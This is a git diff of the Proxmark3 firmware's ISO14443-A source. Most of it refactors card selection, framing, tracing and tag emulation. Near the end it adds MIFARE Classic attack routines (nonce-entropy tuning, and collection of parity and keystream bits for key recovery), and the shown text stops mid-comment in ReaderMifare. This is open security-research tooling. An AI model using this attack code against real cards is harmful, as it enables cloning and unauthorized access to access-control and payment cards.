X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/71d90e54cdfbe625c70185b2db53e4d87d68ec14..c6e2bfcda1d13453fe6bf1192422f0974a412dbb:/armsrc/iso14443a.c

diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index 6b481df2..111d7139 100644
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -14,6 +14,7 @@
 #include "apps.h"
 #include "util.h"
 #include "string.h"
+#include "cmd.h"
 
 #include "iso14443crc.h"
 #include "iso14443a.h"
@@ -21,11 +22,13 @@
 #include "mifareutil.h"
 
 static uint32_t iso14a_timeout;
-uint8_t *trace = (uint8_t *) BigBuf;
+uint8_t *trace = (uint8_t *) BigBuf+TRACE_OFFSET;
 int traceLen = 0;
 int rsamples = 0;
 int tracing = TRUE;
 uint8_t trigger = 0;
+// the block number for the ISO14443-4 PCB
+static uint8_t iso14_pcb_blocknum = 0;
 
 // CARD TO READER - manchester
 // Sequence D: 11110000 modulation with subcarrier during first half
@@ -62,17 +65,23 @@ const uint8_t OddByteParity[256] = {
 };
 
 
-void iso14a_set_trigger(int enable) {
+void iso14a_set_trigger(bool enable) {
 	trigger = enable;
 }
 
-void iso14a_clear_tracelen(void) {
+void iso14a_clear_trace() {
+  memset(trace, 0x44, TRACE_SIZE);
 	traceLen = 0;
 }
-void iso14a_set_tracing(int enable) {
+
+void iso14a_set_tracing(bool enable) {
 	tracing = enable;
 }
 
+void iso14a_set_timeout(uint32_t timeout) {
+	iso14a_timeout = timeout;
+}
+
 //-----------------------------------------------------------------------------
 // Generate the parity value for a byte sequence
 //
@@ -575,8 +584,7 @@ void RAMFUNC SnoopIso14443a(uint8_t param) {
 	
 	LEDsoff();
 	// init trace buffer
-	traceLen = 0;
-	memset(trace, 0x44, TRACE_SIZE);
+    iso14a_clear_trace();
 
 	// We won't start recording the frames that we acquire until we trigger;
 	// a good trigger condition to get started is probably when we see a
@@ -890,18 +898,25 @@ static int GetIso14443aCommandFromReader(uint8_t *received, int *len, int maxLen
         }
     }
 }
+
 static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSend4bitEx(uint8_t resp, int correctionNeeded);
+int EmSend4bit(uint8_t resp);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSendCmd(uint8_t *resp, int respLen);
+int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par);
 
 //-----------------------------------------------------------------------------
 // Main loop of simulated tag: receive commands from reader, decide what
 // response to send, and send it.
 //-----------------------------------------------------------------------------
-void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
+void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
 {
   // Enable and clear the trace
 	tracing = TRUE;
-	traceLen = 0;
-  memset(trace, 0x44, TRACE_SIZE);
+  iso14a_clear_trace();
 
 	// This function contains the tag emulation
 	uint8_t sak;
@@ -978,7 +993,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 	uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
 	ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
 
-	uint8_t *resp;
+	uint8_t *resp = NULL;
 	int respLen;
 
   // Longest possible response will be 16 bytes + 2 CRC = 18 bytes
@@ -1017,7 +1032,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 
 	// Response to a read request - not implemented atm
 	uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4));
-	int resp4Len;
+//	int resp4Len;
 
 	// Authenticate response - nonce
 	uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5));
@@ -1041,7 +1056,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 	int cmdsRecvd = 0;
 	uint8_t* respdata = NULL;
 	int respsize = 0;
-	uint8_t nack = 0x04;
+//	uint8_t nack = 0x04;
 
 	memset(receivedCmd, 0x44, RECV_CMD_SIZE);
 
@@ -1070,7 +1085,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 
 	// Strange answer is an example of rare message size (3 bits)
 	CodeStrangeAnswerAsTag();
-	memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax;
+	memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax;
 
 	// Authentication answer (random nonce)
 	CodeIso14443aAsTag(response5, sizeof(response5));
@@ -1093,6 +1108,11 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 			DbpString("button press");
 			break;
 		}
+    
+    if (tracing) {
+			LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
+    }
+    
 		// doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated
 		// Okay, look at the command now.
 		lastorder = order;
@@ -1121,12 +1141,15 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 			respdata = response3a;
 			respsize = sizeof(response3a);
 		} else if(receivedCmd[0] == 0x30) {	// Received a (plain) READ
-			resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+//			resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+//			respdata = &nack;
+//			respsize = sizeof(nack); // 4-bit answer
+      EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
 			Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
-			respdata = &nack;
-			respsize = sizeof(nack); // 4-bit answer
+      // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
+      respLen = 0;
 		} else if(receivedCmd[0] == 0x50) {	// Received a HALT
-			DbpString("Reader requested we HALT!:");
+//			DbpString("Reader requested we HALT!:");
 			// Do not respond
 			resp = resp1; respLen = 0; order = 0;
 			respdata = NULL;
@@ -1140,16 +1163,19 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 			respdata = response6;
 			respsize = sizeof(response6);
 		} else {
-			// Never seen this command before
-			Dbprintf("Received (len=%d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
-			len,
-			receivedCmd[0], receivedCmd[1], receivedCmd[2],
-			receivedCmd[3], receivedCmd[4], receivedCmd[5],
-			receivedCmd[6], receivedCmd[7], receivedCmd[8]);
-			// Do not respond
-			resp = resp1; respLen = 0; order = 0;
-			respdata = NULL;
-			respsize = 0;
+      if (order == 7 && len ==8) {
+        uint32_t nr = bytes_to_num(receivedCmd,4);
+        uint32_t ar = bytes_to_num(receivedCmd+4,4);
+        Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
+      } else {
+        // Never seen this command before
+        Dbprintf("Received unknown command (len=%d):",len);
+        Dbhexdump(len,receivedCmd,false);
+      }
+      // Do not respond
+      resp = resp1; respLen = 0; order = 0;
+      respdata = NULL;
+      respsize = 0;
 		}
 
 		// Count number of wakeups received after a halt
@@ -1176,7 +1202,6 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
 		}
 		
 		if (tracing) {
-			LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
 			if (respdata != NULL) {
 				LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
 			}
@@ -1237,68 +1262,9 @@ static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wa
 }
 
 //-----------------------------------------------------------------------------
-// Code a 7-bit command without parity bit
-// This is especially for 0x26 and 0x52 (REQA and WUPA)
-//-----------------------------------------------------------------------------
-void ShortFrameFromReader(const uint8_t bt)
-{
-	int j;
-	int last;
-  uint8_t b;
-
-	ToSendReset();
-
-	// Start of Communication (Seq. Z)
-	ToSend[++ToSendMax] = SEC_Z;
-	last = 0;
-
-	b = bt;
-	for(j = 0; j < 7; j++) {
-		if(b & 1) {
-			// Sequence X
-			ToSend[++ToSendMax] = SEC_X;
-			last = 1;
-		} else {
-			if(last == 0) {
-				// Sequence Z
-				ToSend[++ToSendMax] = SEC_Z;
-			}
-			else {
-				// Sequence Y
-				ToSend[++ToSendMax] = SEC_Y;
-				last = 0;
-			}
-		}
-		b >>= 1;
-	}
-
-	// End of Communication
-	if(last == 0) {
-		// Sequence Z
-		ToSend[++ToSendMax] = SEC_Z;
-	}
-	else {
-		// Sequence Y
-		ToSend[++ToSendMax] = SEC_Y;
-		last = 0;
-	}
-	// Sequence Y
-	ToSend[++ToSendMax] = SEC_Y;
-
-	// Just to be sure!
-	ToSend[++ToSendMax] = SEC_Y;
-	ToSend[++ToSendMax] = SEC_Y;
-	ToSend[++ToSendMax] = SEC_Y;
-
-    // Convert from last character reference to length
-    ToSendMax++;
-}
-
-//-----------------------------------------------------------------------------
-// Prepare reader command to send to FPGA
-//
+// Prepare reader command (in bits, support short frames) to send to FPGA
 //-----------------------------------------------------------------------------
-void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity)
 {
   int i, j;
   int last;
@@ -1310,12 +1276,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
   ToSend[++ToSendMax] = SEC_Z;
   last = 0;
 
+  size_t bytecount = nbytes(bits);
   // Generate send structure for the data bits
-  for (i = 0; i < len; i++) {
+  for (i = 0; i < bytecount; i++) {
     // Get the current byte to send
     b = cmd[i];
+    size_t bitsleft = MIN((bits-(i*8)),8);
 
-    for (j = 0; j < 8; j++) {
+    for (j = 0; j < bitsleft; j++) {
       if (b & 1) {
         // Sequence X
     	  ToSend[++ToSendMax] = SEC_X;
@@ -1333,19 +1301,22 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
       b >>= 1;
     }
 
-    // Get the parity bit
-    if ((dwParity >> i) & 0x01) {
-      // Sequence X
-    	ToSend[++ToSendMax] = SEC_X;
-      last = 1;
-    } else {
-      if (last == 0) {
-        // Sequence Z
-    	  ToSend[++ToSendMax] = SEC_Z;
+    // Only transmit (last) parity bit if we transmitted a complete byte
+    if (j == 8) {
+      // Get the parity bit
+      if ((dwParity >> i) & 0x01) {
+        // Sequence X
+        ToSend[++ToSendMax] = SEC_X;
+        last = 1;
       } else {
-        // Sequence Y
-    	  ToSend[++ToSendMax] = SEC_Y;
-        last = 0;
+        if (last == 0) {
+          // Sequence Z
+          ToSend[++ToSendMax] = SEC_Z;
+        } else {
+          // Sequence Y
+          ToSend[++ToSendMax] = SEC_Y;
+          last = 0;
+        }
       }
     }
   }
@@ -1371,6 +1342,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
   ToSendMax++;
 }
 
+//-----------------------------------------------------------------------------
+// Prepare reader command to send to FPGA
+//-----------------------------------------------------------------------------
+void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+{
+  CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity);
+}
+
 //-----------------------------------------------------------------------------
 // Wait for commands from reader
 // Stop when button is pressed (return 1) or field was gone (return 2)
@@ -1568,43 +1547,33 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
 	}
 }
 
-void ReaderTransmitShort(const uint8_t* bt)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
 {
   int wait = 0;
   int samples = 0;
-
-  ShortFrameFromReader(*bt);
-
-  // Select the card
-  TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
-
-  // Store reader command in buffer
-  if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE);
-}
-
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
-{
-  int wait = 0;
-  int samples = 0;
-
+  
   // This is tied to other size changes
   // 	uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
-  CodeIso14443aAsReaderPar(frame,len,par);
-
+  CodeIso14443aBitsAsReaderPar(frame,bits,par);
+  
   // Select the card
   TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
   if(trigger)
   	LED_A_ON();
-
+  
   // Store reader command in buffer
-  if (tracing) LogTrace(frame,len,0,par,TRUE);
+  if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
 }
 
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+{
+  ReaderTransmitBitsPar(frame,len*8,par);
+}
 
 void ReaderTransmit(uint8_t* frame, int len)
 {
   // Generate parity and redirect
-  ReaderTransmitPar(frame,len,GetParity(frame,len));
+  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
 }
 
 int ReaderReceive(uint8_t* receivedAnswer)
@@ -1629,90 +1598,117 @@ int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr)
 /* performs iso14443a anticolision procedure
  * fills the uid pointer unless NULL
  * fills resp_data unless NULL */
-int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data, uint32_t * cuid_ptr) {
-	uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
-	uint8_t sel_all[]    = { 0x93,0x20 };
-	uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-	uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
-
-	uint8_t* resp = (((uint8_t *)BigBuf) + 3560);	// was 3560 - tied to other size changes
-
-	uint8_t sak = 0x04; // cascade uid
-	int cascade_level = 0;
-
-	int len;
-	
-	// clear uid
-	memset(uid_ptr, 0, 8);
-
-	// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
-	ReaderTransmitShort(wupa);
-	// Receive the ATQA
-	if(!ReaderReceive(resp)) return 0;
-
-	if(resp_data)
-		memcpy(resp_data->atqa, resp, 2);
+int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
+  uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP
+  uint8_t sel_all[]    = { 0x93,0x20 };
+  uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+  uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+  uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
+  byte_t uid_resp[4];
+  size_t uid_resp_len;
+
+  uint8_t sak = 0x04; // cascade uid
+  int cascade_level = 0;
+  int len;
+	 
+  // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+  ReaderTransmitBitsPar(wupa,7,0);
+  // Receive the ATQA
+  if(!ReaderReceive(resp)) return 0;
+//  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
+  
+  if(p_hi14a_card) {
+    memcpy(p_hi14a_card->atqa, resp, 2);
+    p_hi14a_card->uidlen = 0;
+    memset(p_hi14a_card->uid,0,10);
+  }
 	
-	// OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
-	// which case we need to make a cascade 2 request and select - this is a long UID
-	// While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
-	for(; sak & 0x04; cascade_level++)
-	{
-		// SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
-		sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+  // clear uid
+  if (uid_ptr) {
+    memset(uid_ptr,0,8);
+  }
 
-		// SELECT_ALL
-		ReaderTransmit(sel_all,sizeof(sel_all));
-		if (!ReaderReceive(resp)) return 0;
-		if(uid_ptr) memcpy(uid_ptr + cascade_level*4, resp, 4);
-		
+  // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+  // which case we need to make a cascade 2 request and select - this is a long UID
+  // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+  for(; sak & 0x04; cascade_level++) {
+    // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+    sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+
+    // SELECT_ALL
+    ReaderTransmit(sel_all,sizeof(sel_all));
+    if (!ReaderReceive(resp)) return 0;
+    
+    // First backup the current uid
+    memcpy(uid_resp,resp,4);
+    uid_resp_len = 4;
+    //    Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
+    
 		// calculate crypto UID
-		if(cuid_ptr) *cuid_ptr = bytes_to_num(resp, 4);
+		if(cuid_ptr) {
+      *cuid_ptr = bytes_to_num(uid_resp, 4);
+    }
 
-		// Construct SELECT UID command
+    // Construct SELECT UID command
 		memcpy(sel_uid+2,resp,5);
-		AppendCrc14443a(sel_uid,7);
-		ReaderTransmit(sel_uid,sizeof(sel_uid));
+    AppendCrc14443a(sel_uid,7);
+    ReaderTransmit(sel_uid,sizeof(sel_uid));
+
+    // Receive the SAK
+    if (!ReaderReceive(resp)) return 0;
+    sak = resp[0];
+
+    // Test if more parts of the uid are comming
+    if ((sak & 0x04) && uid_resp[0] == 0x88) {
+      // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
+      // http://www.nxp.com/documents/application_note/AN10927.pdf
+      memcpy(uid_resp, uid_resp + 1, 3);
+      uid_resp_len = 3;
+    }
+    
+    if(uid_ptr) {
+      memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
+    }
+    
+    if(p_hi14a_card) {
+      memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
+      p_hi14a_card->uidlen += uid_resp_len;
+    }
+  }
 
-		// Receive the SAK
-		if (!ReaderReceive(resp)) return 0;
-		sak = resp[0];
-	}
-	if(resp_data) {
-		resp_data->sak = sak;
-		resp_data->ats_len = 0;
-	}
-	//--  this byte not UID, it CT.  http://www.nxp.com/documents/application_note/AN10927.pdf  page 3
-	if (uid_ptr[0] == 0x88) {  
-		memcpy(uid_ptr, uid_ptr + 1, 7);
-		uid_ptr[7] = 0;
-	}
+  if(p_hi14a_card) {
+    p_hi14a_card->sak = sak;
+    p_hi14a_card->ats_len = 0;
+  }
 
-	if( (sak & 0x20) == 0)
-		return 2; // non iso14443a compliant tag
+  if( (sak & 0x20) == 0) {
+    return 2; // non iso14443a compliant tag
+  }
 
-	// Request for answer to select
-	if(resp_data) {  // JCOP cards - if reader sent RATS then there is no MIFARE session at all!!!
-		AppendCrc14443a(rats, 2);
-		ReaderTransmit(rats, sizeof(rats));
-		
-		if (!(len = ReaderReceive(resp))) return 0;
-		
-		memcpy(resp_data->ats, resp, sizeof(resp_data->ats));
-		resp_data->ats_len = len;
-	}
+  // Request for answer to select
+  AppendCrc14443a(rats, 2);
+  ReaderTransmit(rats, sizeof(rats));
+  
+  if (!(len = ReaderReceive(resp))) return 0;
+
+  if(p_hi14a_card) {
+    memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+    p_hi14a_card->ats_len = len;
+  }
 	
-	return 1;
+  // reset the PCB block number
+  iso14_pcb_blocknum = 0;
+  return 1;
 }
 
 void iso14443a_setup() {
-	// Setup SSC
-	FpgaSetupSsc();
+  // Set up the synchronous serial port
+  FpgaSetupSsc();
 	// Start from off (no field generated)
 	// Signal field is off with the appropriate LED
 	LED_D_OFF();
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-	SpinDelay(200);
+	SpinDelay(50);
 
 	SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
 
@@ -1720,7 +1716,7 @@ void iso14443a_setup() {
 	// Signal field is on with the appropriate LED
 	LED_D_ON();
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-	SpinDelay(200);
+	SpinDelay(50);
 
 	iso14a_timeout = 2048; //default
 }
@@ -1728,35 +1724,54 @@ void iso14443a_setup() {
 int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) {
 	uint8_t real_cmd[cmd_len+4];
 	real_cmd[0] = 0x0a; //I-Block
+	// put block number into the PCB
+	real_cmd[0] |= iso14_pcb_blocknum;
 	real_cmd[1] = 0x00; //CID: 0 //FIXME: allow multiple selected cards
 	memcpy(real_cmd+2, cmd, cmd_len);
 	AppendCrc14443a(real_cmd,cmd_len+2);
  
 	ReaderTransmit(real_cmd, cmd_len+4);
 	size_t len = ReaderReceive(data);
-	if(!len)
-		return -1; //DATA LINK ERROR
-	
+	uint8_t * data_bytes = (uint8_t *) data;
+	if (!len)
+		return 0; //DATA LINK ERROR
+	// if we received an I- or R(ACK)-Block with a block number equal to the
+	// current block number, toggle the current block number
+	else if (len >= 4 // PCB+CID+CRC = 4 bytes
+	         && ((data_bytes[0] & 0xC0) == 0 // I-Block
+	             || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0
+	         && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers
+	{
+		iso14_pcb_blocknum ^= 1;
+	}
+
 	return len;
 }
 
-
 //-----------------------------------------------------------------------------
 // Read an ISO 14443a tag. Send out commands and store answers.
 //
 //-----------------------------------------------------------------------------
-void ReaderIso14443a(UsbCommand * c, UsbCommand * ack)
+void ReaderIso14443a(UsbCommand * c)
 {
 	iso14a_command_t param = c->arg[0];
 	uint8_t * cmd = c->d.asBytes;
 	size_t len = c->arg[1];
-
-	if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(1);
+  uint32_t arg0 = 0;
+  byte_t buf[USB_CMD_DATA_SIZE];
+  
+  iso14a_clear_trace();
+  iso14a_set_tracing(true);
+
+	if(param & ISO14A_REQUEST_TRIGGER) {
+    iso14a_set_trigger(1);
+  }
 
 	if(param & ISO14A_CONNECT) {
 		iso14443a_setup();
-		ack->arg[0] = iso14443a_select_card(ack->d.asBytes, (iso14a_card_select_t *) (ack->d.asBytes+12), NULL);
-		UsbSendPacket((void *)ack, sizeof(UsbCommand));
+		arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
+		cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
+//    UsbSendPacket((void *)ack, sizeof(UsbCommand));
 	}
 
 	if(param & ISO14A_SET_TIMEOUT) {
@@ -1768,8 +1783,9 @@ void ReaderIso14443a(UsbCommand * c, UsbCommand * ack)
 	}
 
 	if(param & ISO14A_APDU) {
-		ack->arg[0] = iso14_apdu(cmd, len, ack->d.asBytes);
-		UsbSendPacket((void *)ack, sizeof(UsbCommand));
+		arg0 = iso14_apdu(cmd, len, buf);
+		cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+//		UsbSendPacket((void *)ack, sizeof(UsbCommand));
 	}
 
 	if(param & ISO14A_RAW) {
@@ -1778,67 +1794,303 @@ void ReaderIso14443a(UsbCommand * c, UsbCommand * ack)
 			len += 2;
 		}
 		ReaderTransmit(cmd,len);
-		ack->arg[0] = ReaderReceive(ack->d.asBytes);
-		UsbSendPacket((void *)ack, sizeof(UsbCommand));
+		arg0 = ReaderReceive(buf);
+//		UsbSendPacket((void *)ack, sizeof(UsbCommand));
+    cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
 	}
 
-	if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(0);
+	if(param & ISO14A_REQUEST_TRIGGER) {
+    iso14a_set_trigger(0);
+  }
 
-	if(param & ISO14A_NO_DISCONNECT)
+	if(param & ISO14A_NO_DISCONNECT) {
 		return;
+  }
 
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 }
+
+#define TEST_LENGTH 100
+typedef struct mftest{
+    uint8_t nt[8];
+    uint8_t count;
+}mftest ;
+
+/**
+ *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
+ *using a specified timeout.
+ *Different cards behave differently, some cards require up to a second to power down (and thus reset
+ *token generator), other cards are fine with 50 ms.
+ *
+ * @param time
+ * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
+ *zero indicates a low entropy: the given timeout is sufficient to power down the card.
+ */
+int TuneMifare(int time)
+{
+    // Mifare AUTH
+    uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
+    uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+
+    iso14443a_setup();
+    int TIME1=time;
+    int TIME2=2000;
+    uint8_t uid[8];
+    uint32_t cuid;
+    byte_t nt[4];
+    Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
+
+
+    mftest nt_values[TEST_LENGTH];
+    int nt_size = 0;
+    int i = 0;
+    for(i = 0 ; i< 100 ; i++)
+    {
+        LED_C_OFF();
+        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+        SpinDelay(TIME1);
+        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+        LED_C_ON();
+        SpinDelayUs(TIME2);
+        if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+
+        // Transmit MIFARE_CLASSIC_AUTH
+        ReaderTransmit(mf_auth, sizeof(mf_auth));
+
+        // Receive the (16 bit) "random" nonce
+        if (!ReaderReceive(receivedAnswer)) continue;
+        memcpy(nt, receivedAnswer, 4);
+
+        //store it
+        int already_stored = 0;
+        for(int i =  0 ; i < nt_size && !already_stored; i++)
+        {
+            if( memcmp(nt, nt_values[i].nt, 4) == 0)
+            {
+                nt_values[i].count++;
+                already_stored = 1;
+            }
+        }
+        if(!already_stored)
+        {
+            mftest* ptr= &nt_values[nt_size++];
+            //Clear it before use
+            memset(ptr, 0, sizeof(mftest));
+            memcpy(ptr->nt, nt, 4);
+            ptr->count = 1;
+        }
+
+        if(BUTTON_PRESS())
+        {
+            Dbprintf("Tuning aborted prematurely");
+            break;
+        }
+    }
+    /*
+    for(int i = 0 ; i < nt_size;i++){
+        mftest x = nt_values[i];
+        Dbprintf("%d,%d,%d,%d   : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
+    }
+    */
+    int result = nt_size *100 / i;
+    Dbprintf("      ... results for %d ms : %d %",time, result);
+    return result;
+}
+
 //-----------------------------------------------------------------------------
 // Read an ISO 14443a tag. Send out commands and store answers.
 //
 //-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+#define STATE_SIZE 100
+typedef struct AttackState{
+    byte_t nt[4];
+    byte_t par_list[8];
+    byte_t ks_list[8];
+    byte_t par;
+    byte_t par_low;
+    byte_t nt_diff;
+    uint8_t mf_nr_ar[8];
+} AttackState;
+
+
+int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+{
+
+    // Transmit reader nonce and reader answer
+    ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
+
+    // Receive 4 bit answer
+    int len = ReaderReceive(receivedAnswer);
+    if (!len)
+    {
+        if (pState->nt_diff == 0)
+        {
+            pState->par++;
+        } else {
+            pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
+        }
+        return 2;
+    }
+    if(pState->nt_diff == 0)
+    {
+        pState->par_low = pState->par & 0x07;
+    }
+    //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
+    //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+    //isNULL =  0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
+     //
+      //  if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
+
+    //led_on = !led_on;
+    //if(led_on) LED_B_ON(); else LED_B_OFF();
+    pState->par_list[pState->nt_diff] = pState->par;
+    pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
+
+    // Test if the information is complete
+    if (pState->nt_diff == 0x07) {
+        return 0;
+    }
+
+    pState->nt_diff = (pState->nt_diff + 1) & 0x07;
+    pState->mf_nr_ar[3] = pState->nt_diff << 5;
+    pState->par = pState->par_low;
+    return 1;
+}
+
+void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
+{
+    LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
+    LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
+    LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
+
+    byte_t buf[48];
+    memcpy(buf + 0,  uid, 4);
+    if(pState != NULL)
+    {
+        memcpy(buf + 4,  pState->nt, 4);
+        memcpy(buf + 8,  pState->par_list, 8);
+        memcpy(buf + 16, pState->ks_list, 8);
+    }
+
+    LED_B_ON();
+    cmd_send(CMD_ACK,isOK,0,0,buf,48);
+    LED_B_OFF();
+
+    // Thats it...
+    FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+    LEDsoff();
+    tracing = TRUE;
+
+    if (MF_DBGLEVEL >= 1)	DbpString("COMMAND mifare FINISHED");
+}
+
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
+
+/**
+ * @brief New implementation of ReaderMifare, the classic mifare attack.
+ *  This implementation is backwards-compatible, but has some added parameters.
+ * @param c the usbcommand in complete
+ *  c->arg[0] - nt_noattack (deprecated)
+ *  c->arg[1] - offset_time us (0 => random)
+ *  c->arg[2] - powerdown_time ms (0=> tuning)
+ *
+ */
+void ReaderMifare(UsbCommand *c)
+{
+    /*
+     * The 'no-attack' is not used anymore, with the introduction of
+     * state tables. Instead, we use an offset which is random. This means that we
